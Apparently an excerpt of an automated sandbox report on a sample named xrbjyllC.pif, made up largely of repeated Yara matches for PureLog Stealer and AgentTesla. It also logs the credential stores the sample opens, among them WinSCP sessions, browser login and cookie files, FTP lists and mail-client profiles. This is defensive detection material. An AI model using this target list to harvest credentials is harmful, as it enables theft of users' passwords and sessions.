Source: Yara match	File source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933710309.00000000227AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2037584251.0000000026FED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2037584251.0000000026FA4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933710309.0000000022764000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1885700149.0000000029CE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xrbjyllC.pif PID: 4544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xrbjyllC.pif PID: 4108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xrbjyllC.pif PID: 6568, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 11.2.xrbjyllC.pif.29a80000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2ace5190.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.25040000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.23765190.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2ace5190.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.29a80000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.27fa5190.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240ee8.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.25040000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0ee8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26affca6.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.27fa5190.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680ee8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22130b8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22130b8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c980000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680ee8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.xrbjyllC.pif.24f7d9c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.23765190.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299f0b8e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26b00b8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299efca6.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.2212fca6.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299efca6.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.2212fca6.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26affca6.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Users\Public\Libraries\xrbjyllC.pif

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\Public\Libraries\xrbjyllC.pif	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 11.2.xrbjyllC.pif.29a80000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2ace5190.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.25040000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.23765190.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2ace5190.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.29a80000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.27fa5190.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240ee8.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.25040000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0ee8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26affca6.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.27fa5190.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680ee8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22130b8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22130b8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c980000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680ee8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.xrbjyllC.pif.24f7d9c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.23765190.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299f0b8e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26b00b8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299efca6.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.2212fca6.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299efca6.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.2212fca6.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26affca6.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2037584251.0000000026FA4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933710309.0000000022764000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1885700149.0000000029CE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xrbjyllC.pif PID: 4544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xrbjyllC.pif PID: 4108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xrbjyllC.pif PID: 6568, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 11.2.xrbjyllC.pif.29a80000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2ace5190.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.25040000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.23765190.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2ace5190.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.29a80000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.27fa5190.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240ee8.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.25040000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0ee8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26affca6.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.27fa5190.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680ee8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22130b8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22130b8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c980000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680ee8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.xrbjyllC.pif.24f7d9c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.23765190.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299f0b8e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26b00b8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299efca6.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.2212fca6.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299efca6.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.2212fca6.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26affca6.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933710309.00000000227AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1829118494.0000000024F7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1886701833.000000002AC91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2037584251.0000000026FED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933003341.00000000220EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1723831872.000000002802C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1885443724.00000000299AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2037584251.0000000026FA4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933710309.0000000022764000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2936380782.0000000023711000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1885700149.0000000029CE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xrbjyllC.pif PID: 4544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xrbjyllC.pif PID: 4108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xrbjyllC.pif PID: 6568, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 11.2.xrbjyllC.pif.29a80000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2ace5190.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.25040000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.23765190.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2ace5190.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.29a80000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.27fa5190.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240ee8.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.25040000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0ee8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26affca6.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.27fa5190.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680ee8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22130b8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c240000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22130b8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.2c980000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680ee8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.xrbjyllC.pif.24f7d9c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.23765190.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299f0b8e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26b00b8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299efca6.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26ec0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.2212fca6.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.xrbjyllC.pif.299efca6.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.2212fca6.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.xrbjyllC.pif.26affca6.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.xrbjyllC.pif.22680000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000003.1999135906.0000000020784000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2036790084.0000000026ABF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
